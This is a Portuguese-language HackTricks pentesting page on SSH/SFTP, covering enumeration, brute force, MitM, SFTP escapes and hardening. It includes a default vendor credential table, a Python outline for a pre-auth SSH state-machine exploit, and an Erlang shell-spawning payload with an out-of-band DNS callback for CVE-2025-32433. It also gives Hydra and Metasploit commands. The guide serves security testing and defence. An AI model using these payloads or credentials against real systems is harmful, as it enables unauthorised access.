# 22 - Pentesting SSH/SFTP {{#include ../banners/hacktricks-training.md}} ## Informações Básicas **SSH (Secure Shell or Secure Socket Shell)** é um protocolo de rede que permite uma conexão segura a um computador através de uma rede não segura. É essencial para manter a confidencialidade e integridade dos dados ao acessar sistemas remotos. **Porta padrão:** 22 ``` 22/tcp open ssh syn-ack ``` **Servidores SSH:** - [openSSH](http://www.openssh.org) – OpenBSD SSH, distribuído em BSD, distribuições Linux e Windows desde o Windows 10 - [Dropbear](https://matt.ucc.asn.au/dropbear/dropbear.html) – implementação SSH para ambientes com pouca memória e recursos de CPU, distribuído no OpenWrt - [PuTTY](https://www.chiark.greenend.org.uk/~sgtatham/putty/) – implementação SSH para Windows; o cliente é comumente usado, mas o uso do servidor é mais raro - [CopSSH](https://www.itefix.net/copssh) – implementação do OpenSSH para Windows **Bibliotecas SSH (implementando o lado servidor):** - [libssh](https://www.libssh.org) – biblioteca C multiplataforma que implementa o protocolo SSHv2 com bindings em [Python](https://github.com/ParallelSSH/ssh-python), [Perl](https://github.com/garnier-quentin/perl-libssh/) e [R](https://github.com/ropensci/ssh); é usada pelo KDE para sftp e pelo GitHub para a infraestrutura git SSH - [wolfSSH](https://www.wolfssl.com/products/wolfssh/) – biblioteca de servidor SSHv2 escrita em ANSI C e direcionada a ambientes embarcados, RTOS e com recursos limitados - [Apache MINA SSHD](https://mina.apache.org/sshd-project/index.html) – a biblioteca Java Apache SSHD é baseada no Apache MINA - [paramiko](https://github.com/paramiko/paramiko) – biblioteca Python do protocolo SSHv2 ## Enumeração ### Banner Grabbing ```bash nc -vn 22 ``` ### ssh-audit automatizado ssh-audit é uma ferramenta para auditoria da configuração de servidores e clientes SSH. [https://github.com/jtesta/ssh-audit](https://github.com/jtesta/ssh-audit) is an updated fork from [https://github.com/arthepsy/ssh-audit/](https://github.com/arthepsy/ssh-audit/) **Recursos:** - Suporte a servidores dos protocolos SSH1 e SSH2; - analisar a configuração de clientes SSH; - capturar banner, reconhecer dispositivo ou software e sistema operacional, detectar compressão; - coletar algoritmos de key-exchange, host-key, encryption e message authentication code; - exibir informações dos algoritmos (available since, removed/disabled, unsafe/weak/legacy, etc); - exibir recomendações de algoritmos (append or remove based on recognized software version); - exibir informações de segurança (related issues, assigned CVE list, etc); - analisar compatibilidade de versão do SSH com base nas informações de algoritmos; - informações históricas do OpenSSH, Dropbear SSH e libssh; - funciona em Linux e Windows; - sem dependências ```bash usage: ssh-audit.py [-1246pbcnjvlt] -1, --ssh1 force ssh version 1 only -2, --ssh2 force ssh version 2 only -4, --ipv4 enable IPv4 (order of precedence) -6, --ipv6 enable IPv6 (order of precedence) -p, --port= port to connect -b, --batch batch output -c, --client-audit starts a server on port 2222 to audit client software config (use -p to change port; use -t to change timeout) -n, --no-colors disable colors -j, --json JSON output -v, --verbose verbose output -l, --level= minimum output level (info|warn|fail) -t, --timeout= timeout (in seconds) for connection and reading (default: 5) $ python3 ssh-audit ``` [See it in action (Asciinema)](https://asciinema.org/a/96ejZKxpbuupTK9j7h8BdClzp) ### Chave SSH pública do servidor ```bash ssh-keyscan -t rsa -p ``` ### Algoritmos de Cifra Fracos Isto é detectado por padrão pelo **nmap**. Mas você também pode usar **sslcan** ou **sslyze**. ### Scripts do Nmap ```bash nmap -p22 -sC # Send default nmap scripts for SSH nmap -p22 -sV # Retrieve version nmap -p22 --script ssh2-enum-algos # Retrieve supported algorythms nmap -p22 --script ssh-hostkey --script-args ssh_hostkey=full # Retrieve weak keys nmap -p22 --script ssh-auth-methods --script-args="ssh.user=root" # Check authentication methods ``` ### Shodan - `ssh` ## Brute force usernames, passwords and private keys ### Username Enumeration Em algumas versões do OpenSSH você pode realizar um timing attack para enumerar users. Você pode usar um metasploit module para explorar isso: ``` msf> use scanner/ssh/ssh_enumusers ``` ### [Brute force](../generic-hacking/brute-force.md#ssh) Algumas credenciais ssh comuns [here ](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt) e [here](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt) e abaixo. ### Private Key Brute Force Se você conhece algumas ssh private keys que poderiam ser usadas... vamos tentar. Você pode usar o nmap script: ``` https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html ``` Ou o MSF auxiliary module: ``` msf> use scanner/ssh/ssh_identify_pubkeys ``` Ou use `ssh-keybrute.py` (nativo python3, leve e com algoritmos legados habilitados): [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute). #### Badkeys conhecidos podem ser encontrados aqui: {{#ref}} https://github.com/rapid7/ssh-badkeys/tree/master/authorized {{#endref}} #### Chaves SSH fracas / PRNG previsível no Debian Alguns sistemas têm falhas conhecidas na semente aleatória usada para gerar material criptográfico. Isso pode resultar em um espaço de chaves drasticamente reduzido que pode ser bruteforced. Conjuntos pré-gerados de chaves geradas em sistemas Debian afetados pelo PRNG fraco estão disponíveis aqui: [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh). Você deve procurar aqui para buscar chaves válidas para a máquina vítima. ### Kerberos / GSSAPI SSO Se o servidor SSH alvo suportar GSSAPI (por exemplo Windows OpenSSH em um controlador de domínio), você pode autenticar usando seu Kerberos TGT em vez de uma senha. Fluxo de trabalho a partir de um host atacante Linux: ```bash # 1) Ensure time is in sync with the KDC to avoid KRB_AP_ERR_SKEW sudo ntpdate # 2) Generate a krb5.conf for the target realm (optional, but handy) netexec smb -u -p '' -k --generate-krb5-file krb5.conf sudo cp krb5.conf /etc/krb5.conf # 3) Obtain a TGT for the user kinit klist # 4) SSH with GSSAPI, using the FQDN that matches the host SPN ssh -o GSSAPIAuthentication=yes @ ``` Notas: - If you connect to the wrong name (e.g., short host, alias, or wrong order in `/etc/hosts`), you may get: "Server not found in Kerberos database" because the SPN does not match. - `crackmapexec ssh --kerberos` can also use your ccache for Kerberos auth. ## Credenciais Padrão | **Fornecedor** | **Usuários** | **Senhas** | | -------------- | ----------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | APC | apc, device | apc | | Brocade | admin | admin123, password, brocade, fibranne | | Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, default, password, secur4u, cisco, Cisco, _Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme | | Citrix | root, nsroot, nsmaint, vdiadmin, kvm, cli, admin | C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler | | D-Link | admin, user | private, admin, user | | Dell | root, user1, admin, vkernel, cli | calvin, 123456, password, vkernel, Stor@ge!, admin | | EMC | admin, root, sysadmin | EMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc | | HP/3Com | admin, root, vcx, app, spvar, manage, hpsupport, opc_op | admin, password, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, nice, access, config, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC_op, !manage, !admin | | Huawei | admin, root | 123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123 | | IBM | USERID, admin, manager, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, system, device, ufmcli, customer | PASSW0RD, passw0rd, admin, password, Passw8rd, iadmin, apc, 123456, cust0mer | | Juniper | netscreen | netscreen | | NetApp | admin | netapp123 | | Oracle | root, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2user | changeme, ilom-admin, ilom-operator, welcome1, oracle | | VMware | vi-admin, root, hqadmin, vmware, admin | vmware, vmw@re, hqadmin, default | ## SSH-MitM Se você estiver na rede local como a vítima que vai se conectar ao servidor SSH usando username e password, você pode tentar **realizar um ataque MitM para capturar essas credenciais:** **Attack path:** - **Redirecionamento de Tráfego:** O atacante **desvia** o tráfego da vítima para sua máquina, efetivamente **interceptando** a tentativa de conexão ao servidor SSH. - **Interceptação e Registro:** A máquina do atacante atua como um **proxy**, **capturando** os dados de login do usuário ao se passar pelo servidor SSH legítimo. - **Execução de Comandos e Reencaminhamento:** Finalmente, o servidor do atacante **registra as credenciais do usuário**, **encaminha os comandos** para o servidor SSH real, **executa** eles e **envia os resultados de volta** ao usuário, fazendo o processo parecer contínuo e legítimo. [**SSH MITM**](https://github.com/jtesta/ssh-mitm) faz exatamente o que foi descrito acima. Para efetuar o MitM real você pode usar técnicas como ARP spoofing, DNS spoofin ou outras descritas em [**Network Spoofing attacks**](../generic-methodologies-and-resources/pentesting-network/index.html#spoofing). ## SSH-Snake Se você quiser percorrer uma rede usando chaves privadas SSH descobertas em sistemas, utilizando cada chave privada em cada sistema para novos hosts, então [**SSH-Snake**](https://github.com/MegaManSec/SSH-Snake) é o que você precisa. SSH-Snake executa as seguintes tarefas automaticamente e recursivamente: 1. No sistema atual, encontre quaisquer chaves privadas SSH, 2. No sistema atual, encontre quaisquer hosts ou destinos (user@host) para os quais as chaves privadas possam ser aceitas, 3. Tentar realizar SSH em todos os destinos usando todas as chaves privadas descobertas, 4. Se um destino for conectado com sucesso, repete os passos #1 - #4 no sistema conectado. É completamente autorreplicante e autorpropagante -- e completamente fileless. ## Misconfigurações ### Login de root É comum que servidores SSH permitam login do usuário root por padrão, o que representa um risco significativo de segurança. **Desabilitar o login root** é um passo crítico para proteger o servidor. Acesso não autorizado com privilégios administrativos e ataques de brute force podem ser mitigados ao fazer essa alteração. **Para desabilitar o login root no OpenSSH:** 1. **Edite o arquivo de configuração do SSH** com: `sudoedit /etc/ssh/sshd_config` 2. **Altere a configuração** de `#PermitRootLogin yes` para **`PermitRootLogin no`**. 3. **Recarregue a configuração** usando: `sudo systemctl daemon-reload` 4. **Reinicie o servidor SSH** para aplicar as mudanças: `sudo systemctl restart sshd` ### SFTP Brute Force - [**SFTP Brute Force**](../generic-hacking/brute-force.md#sftp) ### Execução de comandos via SFTP Há uma falha comum em setups SFTP, onde administradores pretendem que os usuários troquem arquivos sem habilitar acesso shell remoto. Apesar de configurar usuários com shells não interativos (por exemplo, `/usr/bin/nologin`) e confiná-los a um diretório específico, permanece uma brecha de segurança. **Os usuários podem contornar essas restrições** solicitando a execução de um comando (como `/bin/bash`) imediatamente após o login, antes que o shell não interativo designado entre em efeito. Isso permite execução não autorizada de comandos, minando as medidas de segurança pretendidas. [Example from here](https://community.turgensec.com/ssh-hacking-guide/): ```bash ssh -v noraj@192.168.1.94 id ... Password: debug1: Authentication succeeded (keyboard-interactive). Authenticated to 192.168.1.94 ([192.168.1.94]:22). debug1: channel 0: new [client-session] debug1: Requesting no-more-sessions@openssh.com debug1: Entering interactive session. debug1: pledge: network debug1: client_input_global_request: rtype hostkeys-00@openssh.com want_reply 0 debug1: Sending command: id debug1: client_input_channel_req: channel 0 rtype exit-status reply 0 debug1: client_input_channel_req: channel 0 rtype eow@openssh.com reply 0 uid=1000(noraj) gid=100(users) groups=100(users) debug1: channel 0: free: client-session, nchannels 1 Transferred: sent 2412, received 2480 bytes, in 0.1 seconds Bytes per second: sent 43133.4, received 44349.5 debug1: Exit status 0 $ ssh noraj@192.168.1.94 /bin/bash ``` Aqui está um exemplo de configuração segura de SFTP (`/etc/ssh/sshd_config` – openSSH) para o usuário `noraj`: ``` Match User noraj ChrootDirectory %h ForceCommand internal-sftp AllowTcpForwarding no PermitTunnel no X11Forwarding no PermitTTY no ``` Esta configuração permitirá apenas SFTP: desabilitando o acesso ao shell forçando o start command e desativando o acesso TTY, além de desabilitar qualquer tipo de port forwarding ou tunneling. ### SFTP Tunneling Se você tiver acesso a um servidor SFTP, também pode tunnel seu tráfego por meio dele, por exemplo usando o comum port forwarding: ```bash sudo ssh -L :: -N -f @ ``` ### SFTP Symlink O **sftp** tem o comando "**symlink**". Portanto, se você tiver **permissões de escrita** em alguma pasta, você pode criar **symlinks** de **outras pastas/arquivos**. Como você provavelmente está **preso** dentro de um chroot isso **não será especialmente útil** para você, mas, se você puder **acessar** o **symlink** criado a partir de um **no-chroot** **service** (por exemplo, se você puder acessar o symlink pela web), você poderia **abrir os arquivos apontados pelo symlink através da web**. Por exemplo, para criar um **symlink** a partir de um novo arquivo **"**_**froot**_**" para "**_**/**_**"**: ```bash sftp> symlink / froot ``` Se você conseguir acessar o arquivo "_froot_" via web, poderá listar o diretório root ("/") do sistema. ### Métodos de autenticação Em ambientes de alta segurança, é prática comum habilitar apenas autenticação baseada em chaves ou autenticação de dois fatores em vez da simples autenticação por senha. Mas frequentemente os métodos de autenticação mais fortes são habilitados sem desabilitar os mais fracos. Um caso frequente é habilitar `publickey` na configuração do openSSH e defini-lo como método padrão, mas sem desabilitar `password`. Assim, usando o modo verbose do cliente SSH, um atacante pode ver que um método mais fraco está habilitado: ```bash ssh -v 192.168.1.94 OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019 ... debug1: Authentications that can continue: publickey,password,keyboard-interactive ``` Por exemplo, se um limite de falhas de autenticação estiver definido e você nunca tiver a chance de alcançar o método password, pode usar a opção `PreferredAuthentications` para forçar o uso desse método. ```bash ssh -v 192.168.1.94 -o PreferredAuthentications=password ... debug1: Next authentication method: password ``` Revisar a configuração do servidor SSH é necessário para verificar que apenas os métodos esperados estejam autorizados. Usar o verbose mode no cliente pode ajudar a ver a eficácia da configuração. ### Arquivos de configuração ```bash ssh_config sshd_config authorized_keys ssh_known_hosts known_hosts id_rsa ``` ## Fuzzing - [https://packetstormsecurity.com/files/download/71252/sshfuzz.txt](https://packetstormsecurity.com/files/download/71252/sshfuzz.txt) - [https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2](https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2) ## Authentication State-Machine Bypass (Pre-Auth RCE) Várias implementações de servidores SSH contêm falhas lógicas na **authentication finite-state machine** que permitem que um cliente envie mensagens *connection-protocol* **antes** de a autenticação terminar. Como o servidor não verifica se está no estado correto, essas mensagens são tratadas como se o usuário já estivesse totalmente autenticado, levando a **unauthenticated code execution** ou criação de sessão. Em nível de protocolo, qualquer mensagem SSH com um _message code_ **≥ 80** (0x50) pertence à camada *connection* (RFC 4254) e deve **somente ser aceita após autenticação bem-sucedida** (RFC 4252). Se o servidor processar uma dessas mensagens enquanto ainda estiver no estado *SSH_AUTHENTICATION*, o atacante pode imediatamente criar um channel e solicitar ações como execução de comandos, port-forwarding, etc. ### Generic Exploitation Steps 1. Estabeleça uma conexão TCP com a porta SSH do alvo (comummente 22, mas outros serviços podem expor Erlang/OTP em 2022, 830, 2222…). 2. Crie um pacote SSH bruto: * 4-byte **packet_length** (big-endian) * 1-byte **message_code** ≥ 80 (e.g. `SSH_MSG_CHANNEL_OPEN` = 90, `SSH_MSG_CHANNEL_REQUEST` = 98) * Payload que será entendido pelo tipo de mensagem escolhido 3. Envie o(s) pacote(s) **antes de completar qualquer etapa de autenticação**. 4. Interaja com as APIs do servidor que agora estão expostas _pre-auth_ (command execution, port forwarding, file-system access, …). Python proof-of-concept outline: ```python import socket, struct HOST, PORT = '10.10.10.10', 22 s = socket.create_connection((HOST, PORT)) # skip version exchange for brevity – send your own client banner then read server banner # … key exchange can be skipped on vulnerable Erlang/OTP because the bug is hit immediately after the banner # Packet: len(1)=1, SSH_MSG_CHANNEL_OPEN (90) pkt = struct.pack('>I', 1) + b'\x5a' # 0x5a = 90 s.sendall(pkt) # additional CHANNEL_REQUEST packets can follow to run commands ``` Na prática você precisará executar (ou pular) a troca de chaves conforme a implementação alvo, mas **nenhuma autenticação** é jamais realizada. --- ### Erlang/OTP `sshd` (CVE-2025-32433) * **Versões afetadas:** OTP < 27.3.3, 26.2.5.11, 25.3.2.20 * **Causa raiz:** o daemon SSH nativo do Erlang não valida o estado atual antes de invocar `ssh_connection:handle_msg/2`. Portanto qualquer pacote com um código de mensagem 80-255 atinge o manipulador de conexão enquanto a sessão ainda está no estado *userauth*. * **Impacto:** não autenticada **remote code execution** (o daemon geralmente roda como **root** em dispositivos embedded/OT). Exemplo de payload que cria uma reverse shell vinculada ao canal controlado pelo atacante: ```erlang % open a channel first … then: execSinet:cmd(Channel, "exec('/bin/sh', ['-i'], [{fd, Channel#channel.fd}, {pid, true}])."). ``` Blind RCE / out-of-band detection pode ser realizada via DNS: ```erlang execSinet:gethostbyname(".dns.outbound.watchtowr.com").Zsession ``` Detecção & Mitigação: * Inspecionar tráfego SSH: **descartar qualquer pacote com código de mensagem ≥ 80 observado antes da autenticação**. * Atualize Erlang/OTP para **27.3.3 / 26.2.5.11 / 25.3.2.20** ou superior. * Restrinja a exposição das portas de gerenciamento (22/2022/830/2222) – especialmente em equipamentos OT. --- ### Outras Implementações Afetadas * **libssh** 0.6 – 0.8 (server side) – **CVE-2018-10933** – aceita um `SSH_MSG_USERAUTH_SUCCESS` não autenticado enviado pelo cliente, sendo efetivamente o inverso de uma falha lógica. A lição comum é que qualquer desvio das transições de estado exigidas pela RFC pode ser fatal; ao revisar ou fuzzing de daemons SSH preste atenção especial à *imposição da máquina de estados*. ## Referências - [Unit 42 – Erlang/OTP SSH CVE-2025-32433](https://unit42.paloaltonetworks.com/erlang-otp-cve-2025-32433/) - [SSH hardening guides](https://www.ssh-audit.com/hardening_guides.html) - [Turgensec SSH hacking guide](https://community.turgensec.com/ssh-hacking-guide) - [Pentesting Kerberos (88) – client setup and troubleshooting](pentesting-kerberos-88/README.md) - [0xdf – HTB: TheFrizz](https://0xdf.gitlab.io/2025/08/23/htb-thefrizz.html) ## Comandos Automáticos do HackTricks ``` Protocol_Name: SSH Port_Number: 22 Protocol_Description: Secure Shell Hardening Entry_1: Name: Hydra Brute Force Description: Need Username Command: hydra -v -V -u -l {Username} -P {Big_Passwordlist} -t 1 {IP} ssh Entry_2: Name: consolesless mfs enumeration Description: SSH enumeration without the need to run msfconsole Note: sourced from https://github.com/carlospolop/legion Command: msfconsole -q -x 'use auxiliary/scanner/ssh/ssh_version; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use scanner/ssh/ssh_enumusers; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ssh/juniper_backdoor; set RHOSTS {IP}; set RPORT 22; run; exit' ``` {{#include ../banners/hacktricks-training.md}}